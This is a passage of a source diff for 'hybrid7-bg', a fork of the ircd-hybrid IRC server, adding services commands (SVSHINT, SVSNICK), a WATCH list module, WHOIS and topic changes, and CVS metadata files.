+ *   along with this program; if not, write to the Free Software
+ *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ *   $Id: m_svshint.c,v 1.5 2002/07/24 13:09:37 Administrator Exp $
+ */
+#include <string.h>
+#include "handlers.h"
+#include "client.h"
+#include "ircd.h"
+#include "numeric.h"
+#include "s_conf.h"
+#include "s_serv.h"
+#include "s_user.h"
+#include "send.h"
+#include "msg.h"
+#include "parse.h"
+#include "modules.h"
+
+static void ms_svshint(struct Client*, struct Client*, int, char**);
+
+struct Message svshint_msgtab = {
+  "SVSHINT", 0, 1, 0, 0, 0,
+  {m_unregistered, m_ignore, ms_svshint, m_ignore}
+};
+
+#ifndef STATIC_MODULES
+void
+_modinit(void)
+{
+  mod_add_cmd(&svshint_msgtab);
+}
+
+void
+_moddeinit(void)
+{
+  mod_del_cmd(&svshint_msgtab);
+}
+
+char *_version = "20010826";
+#endif
+/*
+ * ms_svshint - SVSHINT command handler
+ *      parv[0] = sender prefix
+ *      parv[1] = hint flags
+ *      parv[2] = nick
+ */
+static void ms_svshint(struct Client* client_p, struct Client* source_p,
+                      int parc, char* parv[])
+{
+  struct Client *victim;
+  unsigned int hint;
+
+  if (parc < 2)
+    {
+      sendto_ll_serv_butone(client_p, source_p, 0, ":%s SVSHINT", parv[0]);
+
+	  if (!find_z_conf(parv[0]))
+		return;
+
+      clear_svs_client_hash_table();
+      return;
+    }
+
+  if (parc < 3)
+    return;
+
+  hint = atoi(parv[1]);
+
+  sendto_ll_serv_butone(client_p, source_p, 1,
+                        ":%s SVSHINT %s :%s", parv[0], parv[1], parv[2]);
+
+  if (!find_z_conf(parv[0]))
+	return;
+
+  victim = find_client(parv[2], NULL);
+
+  if (victim && !IsServer(victim))
+    {
+      if (hint & FLAGS_SVS_IDENT)
+        victim->svsflags |= FLAGS_SVS_IDENT;
+      if (hint & FLAGS_SVS_ADMIN)
+        victim->svsflags |= FLAGS_SVS_ADMIN;
+    }
+}
diff -uNrd ircd-hybrid-7beta5/modules/m_svsnick.c hybrid7-bg/modules/m_svsnick.c
--- ircd-hybrid-7beta5/modules/m_svsnick.c	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/modules/m_svsnick.c	Wed Jul 24 09:09:37 2002
@@ -0,0 +1,93 @@
+/************************************************************************
+ *   IRC - Internet Relay Chat, modules/m_svsnick.c
+ *   Copyright (C) 1990 Jarkko Oikarinen and
+ *                      University of Oulu, Computing Center
+ *
+ *   See file AUTHORS in IRC package for additional names of
+ *   the programmers. 
+ *
+ *   This program is free software; you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 1, or (at your option)
+ *   any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *   GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
+ *   along with this program; if not, write to the Free Software
+ *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ *   $Id: m_svsnick.c,v 1.3 2002/07/24 13:09:37 Administrator Exp $
+ */
+#include <string.h>
+#include "handlers.h"
+#include "client.h"
+#include "ircd.h"
+#include "numeric.h"
+#include "s_conf.h"
+#include "s_serv.h"
+#include "s_user.h"
+#include "send.h"
+#include "msg.h"
+#include "parse.h"
+#include "modules.h"
+
+static void ms_svsnick(struct Client*, struct Client*, int, char**);
+
+struct Message svsnick_msgtab = {
+  "SVSNICK", 0, 3, 0, 0, 0,
+  {m_unregistered, m_ignore, ms_svsnick, m_ignore}
+};
+
+#ifndef STATIC_MODULES
+void
+_modinit(void)
+{
+  mod_add_cmd(&svsnick_msgtab);
+}
+
+void
+_moddeinit(void)
+{
+  mod_del_cmd(&svsnick_msgtab);
+}
+
+char *_version = "20010708";
+#endif
+/*
+ * ms_svsnick - SVSNICK command handler
+ *      parv[0] = sender prefix
+ *      parv[1] = remote server
+ *      parv[2] = old nick
+ *      parv[3] = new nick
+ */
+static void ms_svsnick(struct Client* client_p, struct Client* source_p,
+                      int parc, char* parv[])
+{
+  struct Client *victim;
+
+  if (parc < 4)
+    return;
+
+  if (hunt_server(client_p, source_p, ":%s SVSNICK %s %s :%s", 
+		  1, parc, parv) != HUNTED_ISME)
+    return;
+
+  if (!find_z_conf(parv[0]))
+    return;
+    
+  victim = find_client(parv[2], NULL);
+  if (victim && !IsServer(victim) && MyConnect(victim))
+    {
+      if (find_client(parv[3], NULL))
+	{
+	  exit_client(victim, victim, &me, "SVSNICK collision");
+	  return;
+	}
+
+      change_local_nick(victim, victim, parv[3]);
+    }
+}
diff -uNrd ircd-hybrid-7beta5/modules/m_testline.c hybrid7-bg/modules/m_testline.c
--- ircd-hybrid-7beta5/modules/m_testline.c	Wed Apr 18 22:53:23 2001
+++ hybrid7-bg/modules/m_testline.c	Mon Jul  2 00:11:55 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_testline.c,v 1.20 2001/04/19 02:53:23 a1kmm Exp $
+ *   $Id: m_testline.c,v 1.2 2001/07/02 04:11:55 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
@@ -132,9 +132,9 @@
 #else
           AF_INET
 #endif
-         );
+         , NULL);
       else
-       aconf = find_address_conf(given_host, given_name, NULL, 0);
+       aconf = find_address_conf(given_host, given_name, NULL, 0, NULL);
                  
       if(aconf)
         {
diff -uNrd ircd-hybrid-7beta5/modules/m_time.c hybrid7-bg/modules/m_time.c
--- ircd-hybrid-7beta5/modules/m_time.c	Sun Apr 15 05:44:46 2001
+++ hybrid7-bg/modules/m_time.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_time.c,v 1.19 2001/04/15 09:44:46 toot Exp $
+ *   $Id: m_time.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_topic.c hybrid7-bg/modules/m_topic.c
--- ircd-hybrid-7beta5/modules/m_topic.c	Wed May  2 02:27:05 2001
+++ hybrid7-bg/modules/m_topic.c	Sun Sep  9 08:15:24 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_topic.c,v 1.35 2001/05/02 06:27:05 db Exp $
+ *   $Id: m_topic.c,v 1.4 2001/09/09 12:15:24 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
@@ -150,6 +150,10 @@
 	      /*
 	       * chptr zeroed
 	       */
+	      if (NoColorChannel(chptr)) 
+		/*strip_color(parv[2]);*/
+		parv[2] = strip_color(parv[2], 0);
+
 	      strncpy_irc(chptr->topic, parv[2], TOPICLEN);
 	      
               MyFree(chptr->topic_info);
@@ -267,6 +271,15 @@
     {
       if ( (chptr = hash_find_channel(parv[1], NullChn)) == NULL )
 	return;
+
+      /*if ((time_t)atoi(parv[3]) > chptr->topic_time)
+        return;*/
+      if (chptr->topic[0])
+        return;
+
+      if (NoColorChannel(chptr)) 
+	/*strip_color(parv[4]);*/
+	parv[4] = strip_color(parv[4], 0);
 
       strncpy_irc(chptr->topic, parv[4], TOPICLEN);
 	      
diff -uNrd ircd-hybrid-7beta5/modules/m_trace.c hybrid7-bg/modules/m_trace.c
--- ircd-hybrid-7beta5/modules/m_trace.c	Mon May 14 09:35:31 2001
+++ hybrid7-bg/modules/m_trace.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_trace.c,v 1.25 2001/05/14 13:35:31 toot Exp $
+ *   $Id: m_trace.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "class.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_unkline.c hybrid7-bg/modules/m_unkline.c
--- ircd-hybrid-7beta5/modules/m_unkline.c	Thu Apr 19 00:29:36 2001
+++ hybrid7-bg/modules/m_unkline.c	Tue Jun  5 12:35:45 2001
@@ -21,7 +21,7 @@
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
  *
- *   $Id: m_unkline.c,v 1.31 2001/04/19 04:29:36 a1kmm Exp $
+ *   $Id: m_unkline.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_user.c hybrid7-bg/modules/m_user.c
--- ircd-hybrid-7beta5/modules/m_user.c	Wed Apr  4 11:22:38 2001
+++ hybrid7-bg/modules/m_user.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_user.c,v 1.18 2001/04/04 15:22:38 androsyn Exp $
+ *   $Id: m_user.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_userhost.c hybrid7-bg/modules/m_userhost.c
--- ircd-hybrid-7beta5/modules/m_userhost.c	Wed Apr  4 11:22:38 2001
+++ hybrid7-bg/modules/m_userhost.c	Sun Jun  2 00:57:49 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_userhost.c,v 1.31 2001/04/04 15:22:38 androsyn Exp $
+ *   $Id: m_userhost.c,v 1.2 2002/06/02 04:57:49 Administrator Exp $
  */
 
 #include "handlers.h"
@@ -76,6 +76,9 @@
   int i, n;               /* loop counter */
   int cur_len;
   int rl;
+
+  if (client_p->user) 
+	  client_p->user->known = 1;
 
   cur_len = ircsprintf(buf,form_str(RPL_USERHOST),me.name, parv[0], "");
   t = buf + cur_len;
diff -uNrd ircd-hybrid-7beta5/modules/m_users.c hybrid7-bg/modules/m_users.c
--- ircd-hybrid-7beta5/modules/m_users.c	Mon Apr  9 08:41:50 2001
+++ hybrid7-bg/modules/m_users.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_users.c,v 1.18 2001/04/09 12:41:50 fl_ Exp $
+ *   $Id: m_users.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_version.c hybrid7-bg/modules/m_version.c
--- ircd-hybrid-7beta5/modules/m_version.c	Tue May 15 06:06:23 2001
+++ hybrid7-bg/modules/m_version.c	Mon Jun 10 00:40:38 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_version.c,v 1.26 2001/05/15 10:06:23 toot Exp $
+ *   $Id: m_version.c,v 1.3 2002/06/10 04:40:38 Administrator Exp $
  */
 #include <string.h>
 #include "handlers.h"
@@ -133,7 +133,7 @@
  */
 static char* confopts(struct Client *source_p)
 {
-  static char result[4];
+  static char result[16];
 
   result[0] = '\0';
 
@@ -146,6 +146,15 @@
     {
       strcat(result, "H");
     }
+
+  if (ConfigFileEntry.cyrillic)
+    strcat(result, "c");
+
+  if (ConfigFileEntry.drone_kline)
+	  if (ConfigFileEntry.drone_batch)
+		  strcat(result, "k");
+	  else
+		  strcat(result, "K");
 
   return result;
 }
diff -uNrd ircd-hybrid-7beta5/modules/m_wallops.c hybrid7-bg/modules/m_wallops.c
--- ircd-hybrid-7beta5/modules/m_wallops.c	Wed Apr  4 11:22:39 2001
+++ hybrid7-bg/modules/m_wallops.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_wallops.c,v 1.22 2001/04/04 15:22:39 androsyn Exp $
+ *   $Id: m_wallops.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_watch.c hybrid7-bg/modules/m_watch.c
--- ircd-hybrid-7beta5/modules/m_watch.c	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/modules/m_watch.c	Wed Sep 18 19:19:46 2002
@@ -0,0 +1,245 @@
+/************************************************************************
+ *   IRC - Internet Relay Chat, modules/m_watch.c
+ *   Copyright (C) 1990 Jarkko Oikarinen and
+ *                      University of Oulu, Computing Center
+ *
+ *   See file AUTHORS in IRC package for additional names of
+ *   the programmers. 
+ *
+ *   This program is free software; you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 1, or (at your option)
+ *   any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *   GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
+ *   along with this program; if not, write to the Free Software
+ *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ *   $Id: m_watch.c,v 1.3 2002/09/17 15:25:34 Administrator Exp $
+ */
+#include <string.h>
+#include "handlers.h"
+#include "client.h"
+#include "ircd.h"
+#include "numeric.h"
+#include "s_conf.h"
+#include "s_serv.h"
+#include "s_user.h"
+#include "s_log.h"
+#include "s_misc.h"
+#include "send.h"
+#include "msg.h"
+#include "parse.h"
+#include "modules.h"
+
+static void m_watch(struct Client*, struct Client*, int, char**);
+static void show_watch(aClient *cptr, char *name, int rpl1, int rpl2);
+
+struct Message watch_msgtab = {
+  "WATCH", 0, 0, 0, MFLG_SLOW, 0,
+  {m_unregistered, m_watch, m_ignore, m_watch}
+};
+
+#ifndef STATIC_MODULES
+void
+_modinit(void)
+{
+  mod_add_cmd(&watch_msgtab);
+}
+
+void
+_moddeinit(void)
+{
+  mod_del_cmd(&watch_msgtab);
+}
+
+char *_version = "20020722";
+#endif
+
+/*
+ *	shamelessly stolen from bahamut				
+ *						-demond
+ */
+
+static char buf[BUFSIZE];
+
+/*
+ * RPL_NOWON   - Online at the moment (Succesfully added to WATCH-list)
+ * RPL_NOWOFF  - Offline at the moement (Succesfully added to WATCH-list)
+ * RPL_WATCHOFF   - Succesfully removed from WATCH-list.
+ * ERR_TOOMANYWATCH - Take a guess :>  Too many WATCH entries.
+ */
+static void show_watch(aClient *cptr, char *name, int rpl1, int rpl2) 
+{
+    aClient *acptr;	
+    
+    if ((acptr = find_person(name, NULL)))
+	sendto_one(cptr, form_str(rpl1), me.name, cptr->name,
+		   acptr->name, acptr->username,
+		   acptr->host, acptr->lasttime);
+    else
+	sendto_one(cptr, form_str(rpl2), me.name, cptr->name,
+		   name, "*", "*", 0);
+}
+	
+/* m_watch */
+static void m_watch(aClient *cptr, aClient *sptr, int parc, char *parv[]) 
+{
+    aClient  *acptr;
+    char  *s, *p, *user;
+    char def[2] = "l";
+	int i;
+	
+    if (parc < 2) 
+    {
+	/* Default to 'l' - list who's currently online */
+	parc = 2;
+	parv[1] = def;
+    }
+    
+    /*for (p = NULL, s = strtoken(&p, parv[1], ", "); s;
+	 s = strtoken(&p, NULL, ", "))*/
+	/*                                                */
+	/* this works on bahamut only...                  */
+	/*                                  -demond       */
+	/*                                                */
+	for (i = 1, s = parv[1]; i < parc; s = parv[++i])
+    {
+	if ((user = (char *)strchr(s, '!')))
+	    *user++ = '\0'; /* Not used */
+		
+	/*
+	 * Prefix of "+", they want to add a name to their WATCH
+	 * list. 
+	 */
+	if (*s == '+') 
+	{
+	    if (*(s+1)) 
+	    {
+		if (sptr->watches >= MAXWATCH) 
+		{
+		    sendto_one(sptr, form_str(ERR_TOOMANYWATCH),
+			       me.name, cptr->name, s+1);					
+		    continue;
+		}				
+		add_to_watch_hash_table(s+1, sptr);
+	    }
+	    show_watch(sptr, s+1, RPL_NOWON, RPL_NOWOFF);
+	    continue;
+	}
+	
+	/*
+	 * Prefix of "-", coward wants to remove somebody from their
+	 * WATCH list.  So do it. :-)
+	 */
+	if (*s == '-') 
+	{
+	    del_from_watch_hash_table(s+1, sptr);
+	    show_watch(sptr, s+1, RPL_WATCHOFF, RPL_WATCHOFF);
+	    continue;
+	}
+					
+	/*
+	 * Fancy "C" or "c", they want to nuke their WATCH list and start
+	 * over, so be it.
+	 */
+	if (*s == 'C' || *s == 'c') 
+	{
+	    hash_del_watch_list(sptr);
+	    continue;
+	}
+		
+	/*
+	 * Now comes the fun stuff, "S" or "s" returns a status report of
+	 * their WATCH list.  I imagine this could be CPU intensive if its
+	 * done alot, perhaps an auto-lag on this?
+	 */
+	if (*s == 'S' || *s == 's') 
+	{
+	    Link *lp;
+	    aWatch *anptr;
+	    int  count = 0;
+							
+	    /*
+	     * Send a list of how many users they have on their WATCH list
+	     * and how many WATCH lists they are on.
+	     */
+	    anptr = hash_get_watch(sptr->name);
+	    if (anptr)
+		for (lp = anptr->watch, count = 1; (lp = lp->next); count++);
+	    sendto_one(sptr, form_str(RPL_WATCHSTAT), me.name, parv[0],
+		       sptr->watches, count);
+			
+	    /*
+	     * Send a list of everybody in their WATCH list. Be careful
+	     * not to buffer overflow.
+	     */
+	    if ((lp = sptr->watch) == NULL) 
+	    {
+		sendto_one(sptr, form_str(RPL_ENDOFWATCHLIST), me.name, parv[0],
+			   *s);
+		continue;
+	    }
+	    *buf = '\0';
+	    strcpy(buf, lp->value.wptr->nick);
+	    count = strlen(parv[0])+strlen(me.name)+10+strlen(buf);
+	    while ((lp = lp->next)) 
+	    {
+		if (count+strlen(lp->value.wptr->nick)+1 > BUFSIZE - 2) 
+		{
+		    sendto_one(sptr, form_str(RPL_WATCHLIST), me.name,
+			       parv[0], buf);
+		    *buf = '\0';
+		    count = strlen(parv[0])+strlen(me.name)+10;
+		}
+		strcat(buf, " ");
+		strcat(buf, lp->value.wptr->nick);
+		count += (strlen(lp->value.wptr->nick)+1);
+	    }
+	    sendto_one(sptr, form_str(RPL_WATCHLIST), me.name, parv[0], buf);
+	    sendto_one(sptr, form_str(RPL_ENDOFWATCHLIST), me.name, parv[0],
+		       *s);
+	    continue;
+	}
+		
+	/*
+	 * Well that was fun, NOT.  Now they want a list of everybody in
+	 * their WATCH list AND if they are online or offline? Sheesh,
+	 * greedy arn't we?
+	 */
+	if (*s == 'L' || *s == 'l') 
+	{
+	    Link *lp = sptr->watch;
+			
+	    while (lp) 
+	    {
+		if ((acptr = find_person(lp->value.wptr->nick, NULL)))
+		    sendto_one(sptr, form_str(RPL_NOWON), me.name, parv[0],
+			       acptr->name, acptr->username,
+			       acptr->host, acptr->tsinfo);
+		/*
+		 * But actually, only show them offline if its a capital
+		 * 'L' (full list wanted).
+		 */
+		else if (isupper(*s))
+		    sendto_one(sptr, form_str(RPL_NOWOFF), me.name, parv[0],
+			       lp->value.wptr->nick, "*", "*",
+			       lp->value.wptr->lasttime);
+		lp = lp->next;
+	    }
+			
+	    sendto_one(sptr, form_str(RPL_ENDOFWATCHLIST), me.name, parv[0],
+		       *s);
+	    continue;
+	}
+	/* Hmm.. unknown prefix character.. Ignore it. :-) */
+    }
+	
+    /*return 0;*/
+}
+
diff -uNrd ircd-hybrid-7beta5/modules/m_who.c hybrid7-bg/modules/m_who.c
--- ircd-hybrid-7beta5/modules/m_who.c	Fri Apr 20 00:59:27 2001
+++ hybrid7-bg/modules/m_who.c	Sun Jun  2 00:57:49 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_who.c,v 1.39 2001/04/20 04:59:27 db Exp $
+ *   $Id: m_who.c,v 1.2 2002/06/02 04:57:49 Administrator Exp $
  */
 #include "tools.h"
 #include "common.h"   /* bleah */
@@ -100,6 +100,9 @@
   char  flags[MAX_SUBLISTS][2];
   int   server_oper = parc > 2 ? (*parv[2] == 'o' ): 0; /* Show OPERS only */
   int   member;
+
+  if (client_p->user) 
+	  client_p->user->known = 1;
 
   /*
   **  Following code is some ugly hacking to preserve the
diff -uNrd ircd-hybrid-7beta5/modules/m_whois.c hybrid7-bg/modules/m_whois.c
--- ircd-hybrid-7beta5/modules/m_whois.c	Fri Apr 27 17:09:40 2001
+++ hybrid7-bg/modules/m_whois.c	Mon Dec  3 23:21:40 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_whois.c,v 1.61 2001/04/27 21:09:40 habeeb Exp $
+ *   $Id: m_whois.c,v 1.8 2001/12/04 04:21:40 demond Exp $
  */
 
 #include <string.h>
@@ -373,6 +373,32 @@
 	 target_p->username, target_p->host, target_p->info);
   server_name = (char *)target_p->user->server;
 
+  if (IsOper(source_p) || (target_p == source_p))
+    sendto_one(source_p, form_str(RPL_WHOISREALHOST), me.name,
+	       source_p->name, target_p->name,
+	       ServerInfo.network_name, target_p->realhost);
+
+  if (target_p->svsflags && find_services()) 
+    {
+      t = buf; t[0] = 0;
+      
+      if (target_p->svsflags & FLAGS_SVS_IDENT)
+        { ircsprintf(t, "this nick"); t += strlen(t); }
+
+      if (target_p->svsflags & FLAGS_SVS_IDENT &&
+          target_p->svsflags & FLAGS_SVS_ADMIN)
+        { ircsprintf(t, ", "); t += strlen(t); }
+
+      if (target_p->svsflags & FLAGS_SVS_ADMIN)
+        { ircsprintf(t, "services admin"); t += strlen(t); }
+
+      sendto_one(source_p, form_str(RPL_WHOISSVSHINT), me.name,
+               source_p->name, target_p->name, buf);
+    }
+
+  if (find_z_conf(server_name) && !IsOper(source_p))
+    goto rplserver;
+
   ircsprintf(buf, form_str(RPL_WHOISCHANNELS),
 	       me.name, source_p->name, target_p->name, "");
 
@@ -422,7 +448,8 @@
 
   if (reply_to_send)
     sendto_one(source_p, "%s", buf);
-          
+
+ rplserver:          
   if ((IsOper(source_p) || !GlobalSetOptions.hide_server) || target_p == source_p)
     sendto_one(source_p, form_str(RPL_WHOISSERVER),
 	       me.name, source_p->name, target_p->name, server_name,
@@ -445,6 +472,20 @@
       if (IsAdmin(target_p))
 	sendto_one(source_p, form_str(RPL_WHOISADMIN),
 		   me.name, source_p->name, target_p->name);
+    }
+
+  if (ConfigFileEntry.cyrillic)
+    {
+      char *p;
+      for (p = target_p->name; *p; p++)
+	{
+	  if ((unsigned char)*p >= 192)
+	    {
+	      sendto_one(source_p, form_str(RPL_WHOISCYRILLIC),
+			 me.name, source_p->name, target_p->name);
+	      break;
+	    }
+	}
     }
 
   if ( (glob == 1) ||
diff -uNrd ircd-hybrid-7beta5/modules/m_whowas.c hybrid7-bg/modules/m_whowas.c
--- ircd-hybrid-7beta5/modules/m_whowas.c	Mon Apr  9 08:41:51 2001
+++ hybrid7-bg/modules/m_whowas.c	Tue Jun  5 12:35:45 2001
@@ -16,7 +16,7 @@
 *   along with this program; if not, write to the Free Software
 *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
-*   $Id: m_whowas.c,v 1.20 2001/04/09 12:41:51 fl_ Exp $
+*   $Id: m_whowas.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
 */
 #include "whowas.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/src/CVS/Entries hybrid7-bg/src/CVS/Entries
--- ircd-hybrid-7beta5/src/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/CVS/Entries	Wed Sep 18 19:19:46 2002
@@ -0,0 +1,63 @@
+/.depend/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/adns.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/channel.c/1.12/Thu Jul 11 19:02:37 2002//
+/class.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/client.c/1.8/Wed Jul 24 17:38:27 2002//
+/debug.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/descrip.mms/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/dline_conf.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/event.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/fdlist.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/fileio.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/getopt.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/hash.c/1.6/Wed Jul 24 14:05:38 2002//
+/hook.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/hostmask.c/1.2/Mon Jul  2 04:12:16 2001//
+/irc_string.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/ircd.c/1.8/Thu Jul 11 19:12:36 2002//
+/ircd_lexer.l/1.19/Fri Jul 19 04:23:19 2002//
+/ircd_parser.y/1.20/Fri Jul 19 04:23:19 2002//
+/ircd_signal.c/1.2/Tue Jul 23 05:20:24 2002//
+/ircdauth.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/linebuf.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/list.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/listener.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/m_error.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/match.c/1.2/Sat Feb 23 20:02:20 2002//
+/md5.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/memory.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/messages.tab/1.15/Wed Jul 24 13:10:05 2002//
+/modules-dld.c/1.2/Sun Jun 17 01:27:38 2001//
+/modules.c/1.6/Wed Jul 24 19:04:31 2002//
+/motd.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/numeric.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/oldparse.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/packet.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/parse.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/patricia.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/restart.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/rsa.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/s_auth.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/s_bsd.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/s_bsd_devpoll.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/s_bsd_kqueue.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/s_bsd_poll.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/s_bsd_select.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/s_conf.c/1.15/Fri Jul 19 04:23:20 2002//
+/s_debug.c/1.2/Tue Jul  9 19:19:31 2002//
+/s_gline.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/s_log.c/1.2/Thu Jul  5 05:37:31 2001//
+/s_misc.c/1.16/Wed Jul 24 13:10:05 2002//
+/s_stats.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/scache.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/send.c/1.5/Sat Feb 23 20:02:42 2002//
+/sprintf_irc.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/tools.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/vchannel.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/version.c.SH/1.1.1.1/Tue Jun  5 16:35:46 2001//
+/whowas.c/1.1.1.1/Tue Jun  5 16:35:46 2001//
+D/conf////
+D/test////
+/s_serv.c/1.20/Wed Sep 18 23:19:46 2002//
+/s_user.c/1.16/Wed Sep 18 23:19:46 2002//
diff -uNrd ircd-hybrid-7beta5/src/CVS/Repository hybrid7-bg/src/CVS/Repository
--- ircd-hybrid-7beta5/src/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/CVS/Repository	Wed Jul 24 18:32:00 2002
@@ -0,0 +1 @@
+hybrid7-bg/src
diff -uNrd ircd-hybrid-7beta5/src/CVS/Root hybrid7-bg/src/CVS/Root
--- ircd-hybrid-7beta5/src/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/CVS/Root	Wed Jul 24 18:32:00 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/src/Makefile.in hybrid7-bg/src/Makefile.in
--- ircd-hybrid-7beta5/src/Makefile.in	Sat May  5 20:04:54 2001
+++ hybrid7-bg/src/Makefile.in	Tue Jun  5 12:35:46 2001
@@ -1,7 +1,7 @@
 #
 # Makefile.in for ircd/src
 #
-# $Id: Makefile.in,v 7.80 2001/05/06 00:04:54 androsyn Exp $
+# $Id: Makefile.in,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
 #
 CC		= @CC@
 INSTALL		= @INSTALL@
diff -uNrd ircd-hybrid-7beta5/src/adns.c hybrid7-bg/src/adns.c
--- ircd-hybrid-7beta5/src/adns.c	Tue Apr 24 17:33:42 2001
